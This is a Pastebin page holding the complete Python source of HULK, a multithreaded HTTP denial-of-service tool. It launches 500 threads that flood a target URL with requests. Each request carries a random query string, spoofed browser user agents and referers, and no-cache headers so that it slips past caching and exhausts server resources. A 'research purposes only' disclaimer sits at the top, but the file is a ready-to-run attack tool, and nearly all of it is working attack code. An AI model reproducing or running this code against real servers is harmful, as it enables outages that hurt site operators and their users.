Guest User

Hulk DDOS Tool

a guest
May 18th, 2012
31,005
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Infi-Zeal Technologies
  2. # Regards,
  3. # Hardeep Singh
  4.  
  5. # ----------------------------------------------------------------------------------------------
  6. # HULK - HTTP Unbearable Load King
  7. #
  8. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  9. # to their knees by exhausting the resource pool, its is meant for research purposes only
  10. # and any malicious usage of this tool is prohibited.
  11. #
  12. # author :  Barry Shteiman , version 1.0
  13. # ----------------------------------------------------------------------------------------------
  14. import urllib2
  15. import sys
  16. import threading
  17. import random
  18. import re
  19.  
  20. #global params
  21. url=''
  22. host=''
  23. headers_useragents=[]
  24. headers_referers=[]
  25. request_counter=0
  26. flag=0
  27. safe=0
  28.  
  29. def inc_counter():
  30.     global request_counter
  31.     request_counter+=1
  32.  
  33. def set_flag(val):
  34.     global flag
  35.     flag=val
  36.  
  37. def set_safe():
  38.     global safe
  39.     safe=1
  40.    
  41. # generates a user agent array
  42. def useragent_list():
  43.     global headers_useragents
  44.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  45.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  46.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  47.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  48.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  49.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  50.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  51.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  52.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  53.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  54.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  55.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  56.     return(headers_useragents)
  57.  
  58. # generates a referer array
  59. def referer_list():
  60.     global headers_referers
  61.     headers_referers.append('http://www.google.com/?q=')
  62.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  63.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  64.     headers_referers.append('http://' + host + '/')
  65.     return(headers_referers)
  66.    
  67. #builds random ascii string
  68. def buildblock(size):
  69.     out_str = ''
  70.     for i in range(0, size):
  71.         a = random.randint(65, 90)
  72.         out_str += chr(a)
  73.     return(out_str)
  74.  
  75. def usage():
  76.     print '---------------------------------------------------'
  77.     print 'USAGE: python hulk.py <url>'
  78.     print 'you can add "safe" after url, to autoshut after dos'
  79.     print '---------------------------------------------------'
  80.  
  81.    
  82. #http request
  83. def httpcall(url):
  84.     useragent_list()
  85.     referer_list()
  86.     code=0
  87.     if url.count("?")>0:
  88.         param_joiner="&"
  89.     else:
  90.         param_joiner="?"
  91.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  92.     request.add_header('User-Agent', random.choice(headers_useragents))
  93.     request.add_header('Cache-Control', 'no-cache')
  94.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  95.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  96.     request.add_header('Keep-Alive', random.randint(110,120))
  97.     request.add_header('Connection', 'keep-alive')
  98.     request.add_header('Host',host)
  99.     try:
  100.             urllib2.urlopen(request)
  101.     except urllib2.HTTPError, e:
  102.             #print e.code
  103.             set_flag(1)
  104.             print 'Response Code 500'
  105.             code=500
  106.     except urllib2.URLError, e:
  107.             #print e.reason
  108.             sys.exit()
  109.     else:
  110.             inc_counter()
  111.             urllib2.urlopen(request)
  112.     return(code)       
  113.  
  114.    
  115. #http caller thread
  116. class HTTPThread(threading.Thread):
  117.     def run(self):
  118.         try:
  119.             while flag<2:
  120.                 code=httpcall(url)
  121.                 if (code==500) & (safe==1):
  122.                     set_flag(2)
  123.         except Exception, ex:
  124.             pass
  125.  
  126. # monitors http threads and counts requests
  127. class MonitorThread(threading.Thread):
  128.     def run(self):
  129.         previous=request_counter
  130.         while flag==0:
  131.             if (previous+100<request_counter) & (previous<>request_counter):
  132.                 print "%d Requests Sent" % (request_counter)
  133.                 previous=request_counter
  134.         if flag==2:
  135.             print "\n-- HULK Attack Finished --"
  136.  
  137. #execute
  138. if len(sys.argv) < 2:
  139.     usage()
  140.     sys.exit()
  141. else:
  142.     if sys.argv[1]=="help":
  143.         usage()
  144.         sys.exit()
  145.     else:
  146.         print "-- HULK Attack Started --"
  147.         if len(sys.argv)== 3:
  148.             if sys.argv[2]=="safe":
  149.                 set_safe()
  150.         url = sys.argv[1]
  151.         if url.count("/")==2:
  152.             url = url + "/"
  153.         m = re.search('http\://([^/]*)/?.*', url)
  154.         host = m.group(1)
  155.         for i in range(500):
  156.             t = HTTPThread()
  157.             t.start()
  158.         t = MonitorThread()
  159.         t.start()
RAW Paste Data